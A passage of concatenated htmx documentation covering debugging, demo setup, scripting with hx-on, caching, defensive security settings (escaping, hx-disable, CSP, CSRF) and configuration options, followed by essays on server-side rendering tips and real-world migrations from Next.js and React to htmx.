monitorEvents(htmx.find("#theElement"));
```

This will spit out all events that are occurring on the element with the id `theElement` to the console, and allow you
to see exactly what is going on with it.

Note that this *only* works from the console, you cannot embed it in a script tag on your page.

Finally, push come shove, you might want to just debug `htmx.js` by loading up the unminimized version.  It's
about 2500 lines of javascript, so not an insurmountable amount of code.  You would most likely want to set a break
point in the `issueAjaxRequest()` and `handleAjaxResponse()` methods to see what's going on.

And always feel free to jump on the [Discord](https://htmx.org/discord) if you need help.

### Creating Demos

Sometimes, in order to demonstrate a bug or clarify a usage, it is nice to be able to use a javascript snippet
site like [jsfiddle](https://jsfiddle.net/).  To facilitate easy demo creation, htmx hosts a demo script
site that will install:

* htmx
* hyperscript
* a request mocking library

Simply add the following script tag to your demo/fiddle/whatever:

```html
<script src="https://demo.htmx.org"></script>
```

This helper allows you to add mock responses by adding `template` tags with a `url` attribute to indicate which URL.
The response for that url will be the innerHTML of the template, making it easy to construct mock responses. You can
add a delay to the response with a `delay` attribute, which should be an integer indicating the number of milliseconds
to delay

You may embed simple expressions in the template with the `${}` syntax.

Note that this should only be used for demos and is in no way guaranteed to work for long periods of time
as it will always be grabbing the latest versions htmx and hyperscript!

#### Demo Example

Here is an example of the code in action:

```html
<!-- load demo environment -->
<script src="https://demo.htmx.org"></script>

<!-- post to /foo -->
<button hx-post="/foo" hx-target="#result">
    Count Up
</button>
<output id="result"></output>

<!-- respond to /foo with some dynamic content in a template tag -->
<script>
    globalInt = 0;
</script>
<template url="/foo" delay="500"> <!-- note the url and delay attributes -->
    ${globalInt++}
</template>

```

## Scripting {#scripting}

While htmx encourages a hypermedia approach to building web applications, it offers many options for client scripting. Scripting is included in the REST-ful description of web architecture, see: [Code-On-Demand](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7). As much as is feasible, we recommend a [hypermedia-friendly](/essays/hypermedia-friendly-scripting) approach to scripting in your web application:

* [Respect HATEOAS](/essays/hypermedia-friendly-scripting#prime_directive)
* [Use events to communicate between components](/essays/hypermedia-friendly-scripting#events)
* [Use islands to isolate non-hypermedia components from the rest of your application](/essays/hypermedia-friendly-scripting#islands)
* [Consider inline scripting](/essays/hypermedia-friendly-scripting#inline)

The primary integration point between htmx and scripting solutions is the [events](#events) that htmx sends and can
respond to.  See the SortableJS example in the [3rd Party Javascript](#3rd-party) section for a good template for
integrating a JavaScript library with htmx via events.

Scripting solutions that pair well with htmx include:

* [VanillaJS](http://vanilla-js.com/) - Simply using the built-in abilities of JavaScript to hook in event handlers to
  respond to the events htmx emits can work very well for scripting.  This is an extremely lightweight and increasingly
  popular approach.
* [AlpineJS](https://alpinejs.dev/) - Alpine.js provides a rich set of tools for creating sophisticated front end scripts,
  including reactive programming support, while still remaining extremely lightweight.  Alpine encourages the "inline scripting"
  approach that we feel pairs well with htmx.
* [jQuery](https://jquery.com/) - Despite its age and reputation in some circles, jQuery pairs very well with htmx, particularly
  in older code-bases that already have a lot of jQuery in them.
* [hyperscript](https://hyperscript.org) - Hyperscript is an experimental front-end scripting language created by the same
  team that created htmx.  It is designed to embed well in HTML and both respond to and create events, and pairs very well
  with htmx.

We have an entire chapter entitled ["Client-Side Scripting"](https://hypermedia.systems/client-side-scripting/) in [our
book](https://hypermedia.systems) that looks at how scripting can be integrated into your htmx-based application.

### <a name="hx-on"></a>[The `hx-on*` Attributes](#hx-on)

HTML allows the embedding of inline scripts via the [`onevent` properties](https://developer.mozilla.org/en-US/docs/Web/Events/Event_handlers#using_onevent_properties),
such as `onClick`:

```html
<button onclick="alert('You clicked me!')">
    Click Me!
</button>
```

This feature allows scripting logic to be co-located with the HTML elements the logic applies to, giving good
[Locality of Behaviour (LoB)](/essays/locality-of-behaviour).  Unfortunately, HTML only allows `on*` attributes for a fixed
number of [specific DOM events](https://www.w3schools.com/tags/ref_eventattributes.asp) (e.g. `onclick`) and
doesn't provide a generalized mechanism for responding to arbitrary events on elements.

In order to address this shortcoming, htmx offers [`hx-on*`](/attributes/hx-on) attributes.  These attributes allow
you to respond to any event in a manner that preserves the LoB of the standard `on*` properties.

If we wanted to respond to the `click` event using an `hx-on` attribute, we would write this:

```html
<button hx-on:click="alert('You clicked me!')">
    Click Me!
</button>
```

So, the string `hx-on`, followed by a colon (or a dash), then by the name of the event.

For a `click` event, of course, we would recommend sticking with the standard `onclick` attribute.  However, consider an
htmx-powered button that wishes to add a parameter to a request using the `htmx:config-request` event.  This would not
be possible using a standard `on*` property, but it can be done using the `hx-on:htmx:config-request` attribute:

```html
<button hx-post="/example"
        hx-on:htmx:config-request="event.detail.parameters.example = 'Hello Scripting!'">
    Post Me!
</button>
```

Here the `example` parameter is added to the `POST` request before it is issued, with the value 'Hello Scripting!'.

Another usecase is to [reset user input](@/examples/reset-user-input.md) on successful requests using the `afterRequest`
event, avoiding the need for something like an out of band swap.

The `hx-on*` attributes are a very simple mechanism for generalized embedded scripting.  It is _not_ a replacement for more
fully developed front-end scripting solutions such as AlpineJS or hyperscript.  It can, however, augment a VanillaJS-based
approach to scripting in your htmx-powered application.

Note that HTML attributes are *case insensitive*.  This means that, unfortunately, events that rely on capitalization/
camel casing, cannot be responded to.  If you need to support camel case events we recommend using a more fully
functional scripting solution such as AlpineJS or hyperscript.  htmx dispatches all its events in both camelCase and in
kebab-case for this very reason.

### 3rd Party Javascript {#3rd-party}

Htmx integrates fairly well with third party libraries.  If the library fires events on the DOM, you can use those events to
trigger requests from htmx.

A good example of this is the [SortableJS demo](@/examples/sortable.md):

```html
<form class="sortable" hx-post="/items" hx-trigger="end">
    <div class="htmx-indicator">Updating...</div>
    <div><input type='hidden' name='item' value='1'/>Item 1</div>
    <div><input type='hidden' name='item' value='2'/>Item 2</div>
    <div><input type='hidden' name='item' value='2'/>Item 3</div>
</form>
```

With Sortable, as with most javascript libraries, you need to initialize content at some point.

In jquery you might do this like so:

```javascript
$(document).ready(function() {
    var sortables = document.body.querySelectorAll(".sortable");
    for (var i = 0; i < sortables.length; i++) {
        var sortable = sortables[i];
        new Sortable(sortable, {
            animation: 150,
            ghostClass: 'blue-background-class'
        });
    }
});
```

In htmx, you would instead use the `htmx.onLoad` function, and you would select only from the newly loaded content,
rather than the entire document:

```js
htmx.onLoad(function(content) {
    var sortables = content.querySelectorAll(".sortable");
    for (var i = 0; i < sortables.length; i++) {
        var sortable = sortables[i];
        new Sortable(sortable, {
            animation: 150,
            ghostClass: 'blue-background-class'
        });
    }
})
```

This will ensure that as new content is added to the DOM by htmx, sortable elements are properly initialized.

If javascript adds content to the DOM that has htmx attributes on it, you need to make sure that this content
is initialized with the `htmx.process()` function.

For example, if you were to fetch some data and put it into a div using the `fetch` API, and that HTML had
htmx attributes in it, you would need to add a call to `htmx.process()` like this:

```js
let myDiv = document.getElementById('my-div')
fetch('http://example.com/movies.json')
    .then(response => response.text())
    .then(data => { myDiv.innerHTML = data; htmx.process(myDiv); } );
```

Some 3rd party libraries create content from HTML template elements. For instance, Alpine JS uses the `x-if`
attribute on templates to add content conditionally. Such templates are not initially part of the DOM and,
if they contain htmx attributes, will need a call to `htmx.process()` after they are loaded. The following
example uses Alpine's `$watch` function to look for a change of value that would trigger conditional content:

```html
<div x-data="{show_new: false}"
    x-init="$watch('show_new', value => {
        if (show_new) {
            htmx.process(document.querySelector('#new_content'))
        }
    })">
    <button @click = "show_new = !show_new">Toggle New Content</button>
    <template x-if="show_new">
        <div id="new_content">
            <a hx-get="/server/newstuff" href="#">New Clickable</a>
        </div>
    </template>
</div>
```

#### Web Components {#web-components}

Please see the [Web Components Examples](@/examples/web-components.md) page for examples on how to integrate htmx
with web components.

## Caching

htmx works with standard [HTTP caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)
mechanisms out of the box.

If your server adds the
[`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified)
HTTP response header to the response for a given URL, the browser will automatically add the
[`If-Modified-Since`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/If-Modified-Since)
request HTTP header to the next requests to the same URL. Be mindful that if
your server can render different content for the same URL depending on some other
headers, you need to use the [`Vary`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching#vary)
response HTTP header. For example, if your server renders the full HTML when the
`HX-Request` header is missing or `false`, and it renders a fragment of that HTML
when `HX-Request: true`, you need to add `Vary: HX-Request`. That causes the cache to be
keyed based on a composite of the response URL and the `HX-Request` request header —
rather than being based just on the response URL. Always disable `htmx.config.historyRestoreAsHxRequest`
so that these history full HTML requests are not cached with partial fragment responses.

If you are unable (or unwilling) to use the `Vary` header, you can alternatively set the configuration parameter
`getCacheBusterParam` to `true`.  If this configuration variable is set, htmx will include a cache-busting parameter
in `GET` requests that it makes, which will prevent browsers from caching htmx-based and non-htmx based responses
in the same cache slot.

htmx also works with [`ETag`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag)
as expected.  Be mindful that if your server can render different content for the same
URL (for example, depending on the value of the `HX-Request` header), the server needs
to generate a different `ETag` for each content.

## Security

htmx allows you to define logic directly in your DOM.  This has a number of advantages, the largest being
[Locality of Behavior](@/essays/locality-of-behaviour.md), which makes your system easier to understand and
maintain.

A concern with this approach, however, is security: since htmx increases the expressiveness of HTML, if a malicious
user is able to inject HTML into your application, they can leverage this expressiveness of htmx to malicious
ends.

### Rule 1: Escape All User Content

The first rule of HTML-based web development has always been: *do not trust input from the user*.  You should escape all
3rd party, untrusted content that is injected into your site.  This is to prevent, among other issues,
[XSS attacks](https://en.wikipedia.org/wiki/Cross-site_scripting).

There is extensive documentation on XSS and how to prevent it on the excellent [OWASP Website](https://owasp.org/www-community/attacks/xss/),
including a [Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).

The good news is that this is a very old and well understood topic, and the vast majority of server-side templating languages
support [automatic escaping](https://docs.djangoproject.com/en/4.2/ref/templates/language/#automatic-html-escaping) of
content to prevent just such an issue.

That being said, there are times people choose to inject HTML more dangerously, often via some sort of `raw()`
mechanism in their templating language.  This can be done for good reasons, but if the content being injected is coming
from a 3rd party then it _must_ be scrubbed, including removing attributes starting with `hx-` and `data-hx`, as well as
inline `<script>` tags, etc.

If you are injecting raw HTML and doing your own escaping, a best practice is to *whitelist* the attributes and tags you
allow, rather than to blacklist the ones you disallow.

### htmx Security Tools

Of course, bugs happen and developers are not perfect, so it is good to have a layered approach to security for
your web application, and htmx provides tools to help secure your application as well.

Let's take a look at them.

#### `hx-disable`

The first tool htmx provides to help further secure your application is the [`hx-disable`](/attributes/hx-disable)
attribute.  This attribute will prevent processing of all htmx attributes on a given element, and on all elements within
it.  So, for example, if you were including raw HTML content in a template (again, this is not recommended!) then you
could place a div around the content with the `hx-disable` attribute on it:

```html
<div hx-disable>
    <%= raw(user_content) %>
</div>
```

And htmx will not process any htmx-related attributes or features found in that content.  This attribute cannot be
disabled by injecting further content: if an `hx-disable` attribute is found anywhere in the parent hierarchy of an
element, it will not be processed by htmx.

#### `hx-history`

Another security consideration is htmx history cache.  You may have pages that have sensitive data that you do not
want stored in the users `localStorage` cache.  You can omit a given page from the history cache by including the
[`hx-history`](/attributes/hx-history) attribute anywhere on the page, and setting its value to `false`.

#### Configuration Options

htmx also provides configuration options related to security:

* `htmx.config.selfRequestsOnly` - if set to `true`, only requests to the same domain as the current document will be allowed
* `htmx.config.allowScriptTags` - htmx will process `<script>` tags found in new content it loads.  If you wish to disable
   this behavior you can set this configuration variable to `false`
* `htmx.config.historyCacheSize` - can be set to `0` to avoid storing any HTML in the `localStorage` cache
* `htmx.config.allowEval` - can be set to `false` to disable all features of htmx that rely on eval:
  * event filters
  * `hx-on:` attributes
  * `hx-vals` with the `js:` prefix
  * `hx-headers` with the `js:` prefix

Note that all features removed by disabling `eval()` can be reimplemented using your own custom javascript and the
htmx event model.

#### Events

If you want to allow requests to some domains beyond the current host, but not leave things totally open, you can
use the `htmx:validateUrl` event.  This event will have the request URL available in the `detail.url` slot, as well
as a `sameHost` property.

You can inspect these values and, if the request is not valid, invoke `preventDefault()` on the event to prevent the
request from being issued.

```javascript
document.body.addEventListener('htmx:validateUrl', function (evt) {
  // only allow requests to the current server as well as myserver.com
  if (!evt.detail.sameHost && evt.detail.url.hostname !== "myserver.com") {
    evt.preventDefault();
  }
});
```

### CSP Options

Browsers also provide tools for further securing your web application.  The most powerful tool available is a
[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP).  Using a CSP you can tell the
browser to, for example, not issue requests to non-origin hosts, to not evaluate inline script tags, etc.

Here is an example CSP in a `meta` tag:

```html
    <meta http-equiv="Content-Security-Policy" content="default-src 'self';">
```

This tells the browser "Only allow connections to the original (source) domain".  This would be redundant with the
`htmx.config.selfRequestsOnly`, but a layered approach to security is warranted and, in fact, ideal, when dealing
with application security.

A full discussion of CSPs is beyond the scope of this document, but the [MDN Article](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) provides a good jumping-off point
for exploring this topic.

### CSRF Prevention

The assignment and checking of CSRF tokens are typically backend responsibilities, but `htmx` can support returning the CSRF token automatically with every request using the `hx-headers` attribute. The attribute needs to be added to the element issuing the request or one of its ancestor elements. This makes the `html` and `body` elements effective global vehicles for adding the CSRF token to the `HTTP` request header, as illustrated below. 

Note: `hx-boost` does not update the `<html>` or `<body>` tags; if using this feature with `hx-boost`, make sure to include the CSRF token on an element that _will_ get replaced. Many web frameworks support automatically inserting the CSRF token as a hidden input in HTML forms. This is encouraged whenever possible.

```html
<html lang="en" hx-headers='{"X-CSRF-TOKEN": "CSRF_TOKEN_INSERTED_HERE"}'>
    :
</html>
```

```html
    <body hx-headers='{"X-CSRF-TOKEN": "CSRF_TOKEN_INSERTED_HERE"}'>
        :
    </body>
```

The above elements are usually unique in an HTML document and should be easy to locate within templates. 


## Configuring htmx {#config}

Htmx has some configuration options that can be accessed either programmatically or declaratively.  They are
listed below:

<div class="info-table">

| Config Variable                        | Info                                                                                                                                                                                                                                                                                                                                              |
|----------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `htmx.config.historyEnabled`           | defaults to `true`, really only useful for testing                                                                                                                                                                                                                                                                                                |
| `htmx.config.historyCacheSize`         | defaults to 10                                                                                                                                                                                                                                                                                                                                    |
| `htmx.config.refreshOnHistoryMiss`     | defaults to `false`, if set to `true` htmx will issue a full page refresh on history misses rather than use an AJAX request                                                                                                                                                                                                                       |
| `htmx.config.defaultSwapStyle`         | defaults to `innerHTML`                                                                                                                                                                                                                                                                                                                           |
| `htmx.config.defaultSwapDelay`         | defaults to 0                                                                                                                                                                                                                                                                                                                                     |
| `htmx.config.defaultSettleDelay`       | defaults to 20                                                                                                                                                                                                                                                                                                                                    |
| `htmx.config.includeIndicatorStyles`   | defaults to `true` (determines if the indicator styles are loaded)                                                                                                                                                                                                                                                                                |
| `htmx.config.indicatorClass`           | defaults to `htmx-indicator`                                                                                                                                                                                                                                                                                                                      |
| `htmx.config.requestClass`             | defaults to `htmx-request`                                                                                                                                                                                                                                                                                                                        |
| `htmx.config.addedClass`               | defaults to `htmx-added`                                                                                                                                                                                                                                                                                                                          |
| `htmx.config.settlingClass`            | defaults to `htmx-settling`                                                                                                                                                                                                                                                                                                                       |
| `htmx.config.swappingClass`            | defaults to `htmx-swapping`                                                                                                                                                                                                                                                                                                                       |
| `htmx.config.allowEval`                | defaults to `true`, can be used to disable htmx's use of eval for certain features (e.g. trigger filters)                                                                                                                                                                                                                                         |
| `htmx.config.allowScriptTags`          | defaults to `true`, determines if htmx will process script tags found in new content                                                                                                                                                                                                                                                              |
| `htmx.config.inlineScriptNonce`        | defaults to `''`, meaning that no nonce will be added to inline scripts                                                                                                                                                                                                                                                                           |
| `htmx.config.attributesToSettle`       | defaults to `["class", "style", "width", "height"]`, the attributes to settle during the settling phase                                                                                                                                                                                                                                           |
| `htmx.config.inlineStyleNonce`         | defaults to `''`, meaning that no nonce will be added to inline styles                                                                                                                                                                                                                                                                            |
| `htmx.config.useTemplateFragments`     | defaults to `false`, HTML template tags for parsing content from the server (not IE11 compatible!)                                                                                                                                                                                                                                                |
| `htmx.config.wsReconnectDelay`         | defaults to `full-jitter`                                                                                                                                                                                                                                                                                                                         |
| `htmx.config.wsBinaryType`             | defaults to `blob`, the [type of binary data](https://developer.mozilla.org/docs/Web/API/WebSocket/binaryType) being received over the WebSocket connection                                                                                                                                                                                       |
| `htmx.config.disableSelector`          | defaults to `[hx-disable], [data-hx-disable]`, htmx will not process elements with this attribute on it or a parent                                                                                                                                                                                                                               |
| `htmx.config.withCredentials`          | defaults to `false`, allow cross-site Access-Control requests using credentials such as cookies, authorization headers or TLS client certificates                                                                                                                                                                                                 |
| `htmx.config.timeout`                  | defaults to 0, the number of milliseconds a request can take before automatically being terminated                                                                                                                                                                                                                                                |
| `htmx.config.scrollBehavior`           | defaults to 'instant', the scroll behavior when using the [show](@/attributes/hx-swap.md#scrolling-scroll-show) modifier with `hx-swap`. The allowed values are `instant` (scrolling should happen instantly in a single jump), `smooth` (scrolling should animate smoothly) and `auto` (scroll behavior is determined by the computed value of [scroll-behavior](https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-behavior)).                                                                                                                                    |
| `htmx.config.defaultFocusScroll`       | if the focused element should be scrolled into view, defaults to false and can be overridden using the [focus-scroll](@/attributes/hx-swap.md#focus-scroll) swap modifier.                                                                                                                                                                        |
| `htmx.config.getCacheBusterParam`      | defaults to false, if set to true htmx will append the target element to the `GET` request in the format `org.htmx.cache-buster=targetElementId`                                                                                                                                                                                                  |
| `htmx.config.globalViewTransitions`    | if set to `true`, htmx will use the [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) API when swapping in new content.                                                                                                                                                                                    |
| `htmx.config.methodsThatUseUrlParams`  | defaults to `["get", "delete"]`, htmx will format requests with these methods by encoding their parameters in the URL, not the request body                                                                                                                                                                                                       |
| `htmx.config.selfRequestsOnly`         | defaults to `true`, whether to only allow AJAX requests to the same domain as the current document                                                                                                                                                                                                                                     |
| `htmx.config.ignoreTitle`              | defaults to `false`, if set to `true` htmx will not update the title of the document when a `title` tag is found in new content                                                                                                                                                                                                                   |
| `htmx.config.disableInheritance`       | disables attribute inheritance in htmx, which can then be overridden by the [`hx-inherit`](@/attributes/hx-inherit.md) attribute                                                                                                                                                                                                                  |
| `htmx.config.scrollIntoViewOnBoost`    | defaults to `true`, whether or not the target of a boosted element is scrolled into the viewport. If `hx-target` is omitted on a boosted element, the target defaults to `body`, causing the page to scroll to the top.                                                                                                                           |
| `htmx.config.triggerSpecsCache`        | defaults to `null`, the cache to store evaluated trigger specifications into, improving parsing performance at the cost of more memory usage. You may define a simple object to use a never-clearing cache, or implement your own system using a [proxy object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Proxy) |
| `htmx.config.responseHandling`         | the default [Response Handling](@/docs.md#response-handling) behavior for response status codes can be configured here to either swap or error                                                                                                                                                                                                    |
| `htmx.config.allowNestedOobSwaps`      | defaults to `true`, whether to process OOB swaps on elements that are nested within the main response element. See [Nested OOB Swaps](@/attributes/hx-swap-oob.md#nested-oob-swaps).                                                                                                                                                              |
| `htmx.config.historyRestoreAsHxRequest`| defaults to `true`, Whether to treat history cache miss full page reload requests as a "HX-Request" by returning this response header. This should always be disabled when using HX-Request header to optionally return partial responses                                                                                                         |
</div>

You can set them directly in javascript, or you can use a `meta` tag:

```html
<meta name="htmx-config" content='{"defaultSwapStyle":"outerHTML"}'>
```

## Conclusion

And that's it!

Have fun with htmx! You can accomplish [quite a bit](@/examples/_index.md) without writing a lot of code!

</div>
</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/10-tips-for-SSR-HDA-apps.md

+++
title = "10 Tips For Building SSR/HDA applications"
description = """\
  In this guide, Carson Gross provides ten practical tips to help developers transition from Single Page Applications \
  (SPAs) to Server-Side Rendering and Hypermedia-Driven Applications, focusing on essential mindset shifts and \
  architectural advantages."""
date = 2022-06-13
updated = 2023-06-13
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Building web applications using traditional Server-Side Rendering (SSR) or, saying the same thing another way, building 
[Hypermedia-Driven Applications](@/essays/hypermedia-driven-applications.md) (HDAs) requires a mindset shift when
compared with building web applications with Single Page Application frameworks like React.

If you come at this style of development with an SPA-engineering hat on, you are likely to be frustrated and miss out
on many advantages of this particular architectural choice.

Here are 10 tip to help you make the mental shift smoothly, taking advantage of the strengths of this approach and
minimizing the weaknesses of it:

### Tip 1: Maximize Your Server-Side Strengths

A big advantage of the hypermedia-driven approach is that it makes the server-side environment far more important when
building your web application.  Rather than simply producing JSON, your back end is an integral component in the user
experience of your web application.

Because of this, it makes sense to look deeply into the functionality available there.  Many older web frameworks have
incredibly deep functionality available around producing HTML.  Features like 
[server-side caching](https://guides.rubyonrails.org/caching_with_rails.html) can make the difference between an incredibly 
snappy web application and a sluggish user experience.

Take time to learn all the tools available to you.  

A good rule of thumb is to shoot to have responses in your application take less than 100ms to complete, and mature
server side frameworks have tools to help make this happen.

### Tip 2: Factor Your Application On The Server

Server-side environments often have extremely mature mechanisms for factoring (or organizing) your code properly.  The
[Model/View/Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) pattern is well-developed in
most environments, and tools like modules, packages, etc. provide an excellent way to organize your code.

Whereas SPAs user interfaces are typically organized via _components_, hypermedia-driven applications are typically 
organized via _template inclusion_, where the server-side templates are broken up according to the HTML-rendering needs 
of the application, and then included in one another as needed.  This tends to lead to fewer, chunkier files than you 
would find in a component-based application.

Another technology to look for are [Template Fragments](@/essays/template-fragments.md), which allow you to render only
part of a template file.  This can reduce even further the number of template files required for your server-side 
application.

### Tip 3: Specialize Your API End Points

Unlike a [JSON API](@/essays/hypermedia-apis-vs-data-apis.md), the hypermedia API you produce for your hypermedia-driven
application _should_ feature end-points specialized for your particular application's UI needs.  

Because hypermedia APIs are [not designed to be consumed by general-purpose clients](@/essays/hypermedia-clients.md) you 
can set aside the pressure to keep them generalized and produce the content specifically needed for your application.  
Your end-points should be optimized to support your particular applications UI/UX needs, not for a general-purpose 
data-access model for your domain model.

### Tip 4: Aggressively Refactor Your API End Points

A related tip is that, when you have a hypermedia-based API, you can aggressively refactor your API in a way that is
heavily discouraged when writing JSON API-based SPAs.  Because hypermedia-based applications use [Hypermedia As The Engine 
Of Application State](@/essays/hateoas.md), you are able and, in fact, encouraged, to change the shape of them as your
application developers and as use cases change.

A great strength of the hypermedia approach is that you can completely rework your API to adapt to new needs over time
without needing to version the API or even document it.

### Tip 5: Take Advantage of Direct Access To The Data Store

When an application is built using the SPA approach, the data store typically lives behind a JSON API.  This level of
indirection often prevents front end developers from being able to take full advantage of the tools available in the
data store.  GraphQL can help address this issue, but comes with [security-related issues](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html) 
that do not appear to be well understood by many developers.

When you produce your HTML on the server side, on the other hand, the developer creating that HTML can have full access
to the data store and take advantage of, for example, [joins](https://www.sqltutorial.org/sql-left-join/) and 
[aggregation functions](https://www.sqltutorial.org/sql-aggregate-functions/) in SQL stores.

This puts far more expressive power directly in the hands of the developer producing the HTML.  Because your hypermedia
API can be structured around your UI needs, you can tune each endpoint to issue as few data store requests as possible.

A good rule of thumb is that every request should shoot to have three or fewer data-store accesses.

### Tip 6: Avoid Modals

[Modal windows](https://en.wikipedia.org/wiki/Modal_window) have become popular, almost standard, in many web applications
today.  

Unfortunately, [modal windows do not play well with much of the infrastructure of the web](https://youdontneedamodalwindow.dev/)
and introduce client-side state that can be difficult (though not impossible) to integrate cleanly with the hypermedia-based
approach.

Consider using alternatives such as [inline editing](https://htmx.org/examples/click-to-edit/), rather than modals.

### Tip 7: Accept "Good Enough" UX

A problem many SPA developers face when coming to the HDA approach is that they look at their current SPA application and
imagine implementing it _exactly_ using hypermedia.  While htmx and other hypermedia-oriented libraries significantly 
close the interactivity gap between hypermedia-based applications and SPAs, that gap still exists.

As Roy Fielding [said](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5) with respect
to the web's REST-ful network architecture:

> The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
> standardized form rather than one which is specific to an application's needs.

Accepting a slightly less efficient and interactive solution to a particular UX can save you a tremendous amount of
[complexity](@/essays/complexity-budget.md) when building a web application.

Do not let the perfect be the enemy of the good.

### Tip 8: When Necessary, Create "Islands of Interactivity"

At some point in your web application, there may come a point where the hypermedia approach, on its own, just doesn't
cut it.

A good example of this is re-ordering a list of things.  This can be done in "pure" hypermedia by clicking up and down
arrows or having order # drop-downs next to items.  (I am ashamed to admit I have built both of these!)

But this experience stinks compared to what people are used to: drag-and-drop.

In cases like this, it is perfectly fine to use a front-end heavy approach as an "Island of Interactivity".  

Consider the [SortableJS](@/examples/sortable.md) example.  Here you have a sophisticated area of interactivity that allows for
drag-and-drop, and that integrates with htmx and the broader hypermedia-driven application via events.

This is an excellent way to encapsulate richer UX within an HDA.

### Tip 9: Don't Be Afraid To Script!

Scripting is [explicitly a part of the web architecture](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7)
and developers adopting the hypermedia approach shouldn't be afraid to use it.  Of course there is scripting and then
there is scripting.

As much as possible, you should try to use the  [hypermedia-friendly scripting](@/essays/hypermedia-friendly-scripting.md)
approach, retaining hypermedia-exchanges as the primary mechanism for communicating system state changes with the
server.

Inline-style scripting, as enabled by [alpine.js](https://alpinejs.dev/) & [hyperscript](https://hyperscript.org) for example,
is worth exploring as well, as it refocuses your scripting on the hypermedia (HTML) itself and imposes an aesthetic 
constraint on just how much code you can write.

### Tip 10: Be Pragmatic

Finally, do not be dogmatic about using hypermedia.  At the end of the day, it is just another technology with its own
[strengths & weaknesses](@/essays/when-to-use-hypermedia.md).  If a particular part of an app, or if an entire app,
demands something more interactive than what hypermedia can deliver, then go with a technology that can.  

Just be familiar with [what hypermedia can do](@/examples/_index.md), so you can make that decision as an informed 
developer.

## Conclusion

Hopefully these tips help you adopt hypermedia and server-side rendering as a tool more effectively and smoothly.  It
isn't a perfect client-server architecture, and it involves explicit tradeoffs, but it can be extremely effective for
many web applications (far more than most web developers today suspect) and provides a much simpler overall development
experience in those cases.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/a-real-world-nextjs-to-htmx-port.md

+++
title = "Next.js to htmx — A Real World Example"
description = """\
  In this case study, Pouria Ezzati examines how migrating a URL shortener from Next.js to htmx resulted in \
  significant improvements in codebase size, dependencies, and developer experience while challenging assumptions \
  about modern web frameworks."""
date = 2024-11-07
updated = 2024-11-07
authors = ["Pouria Ezzati"]
[taxonomies]
tag = ["posts"]
+++

Over 6 years ago, I created [an open source URL shortener](https://github.com/thedevs-network/kutt) with Next.js and after years of working on it, I found Next.js to be much more of a burden than a help. Over the years, Next.js has changed, and so did my code so it can be compatible with those changes. 

My Next.js codebase grew bigger, and its complexity increased by greater size. I had dozens of components and a list of dependencies to manage. I ended up maintaining the code constantly just to keep it alive. Sure, Next.js helped here and there, but at what cost?

I asked myself, what am I doing on my website that is so complex that needs all that JavaScript code to decide what to render and how to render on my webpage? Next.js was trying to render the webpage from the server side, so why won't I send the HTML directly myself?

So I decided to try a new route—some might say the good ol' route—and choose plain HTML and use the help of htmx for that.

## Video

Watch me go full in details here:

<iframe style="max-width: 100%" width="618" height="352" src="https://www.youtube.com/embed/8RL4NvYZDT4" title=" Next.js to htmx – A Real World Example " frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>


## The process

Replacing my components with the equivalent HTML elements powered by htmx wasn't exactly an easy task, but one that was worth the time. I had to view things from a different angle, and I sometimes felt strict in what user interactions I can implement, but what I created was reliable and fast.

All the build steps were gone; no more transpiling and compiling the code. What you see is what you get. Most of the dependencies became redundant and have been removed. All the main logic of the website was moved to the server side, holding one source for the truth.

In the Next.js version I had isolated components, global states, and all that JavaScript to handle the forms or update the content, and yet, everything was more intuitive with htmx. After trying it, sending and receiving HTML suddenly made sense. 

## Summary

- Dependencies are **reduced by 87%** (**24** to **3**!)
- I wrote **less code by 17%**  (**9500 LOC** to **7900 LOC**.) In reality the total LOC of the code base is **reduced by more than 50%**, since much less code is imported from the dependencies.
- Web build time was **reduced by 100%** (there's **no build step** anymore.)
- Size of the website **reduced by more than 85%** (**~800KB** to **~100KB**!) 

These numbers signify a great improvement, however, what is important for me at the end is the user and the developer experience, which to me htmx won at both.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/a-real-world-react-to-htmx-port.md

+++
title = "A Real World React -> htmx Port"
description = """\
  David Guillot at Contexte gave what we are calling 'The Mother of All htmx Demos' at DjangoCon 2022. This essay \
  summarizes this real-world case study of replacing React with htmx in a SaaS product, demonstrating significant \
  improvements in code size, performance, and development team efficiency through the adoption of a hypermedia-driven \
  architecture."""
date = 2022-09-29
updated = 2022-10-15
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

It is all well and good talking about [REST & HATEOAS](@/essays/hateoas.md) in theory or describing the
[Hypermedia-Driven Application](@/essays/hypermedia-driven-applications.md) architecture, but, at the end of the day, what 
matters in software is practical: Does it work?  Does it improve things?

We can say for sure that htmx _works_, since we use it in our own software.  But it is hard to say that it would be
an _improvement_ over other approaches, since we haven't had an apples-to-apples comparison of how htmx might compare with,
say, [react](https://reactjs.org/).

Until now.

[David Guillot](https://github.com/David-Guillot) at [Contexte](https://www.contexte.com/) has given what we are calling 
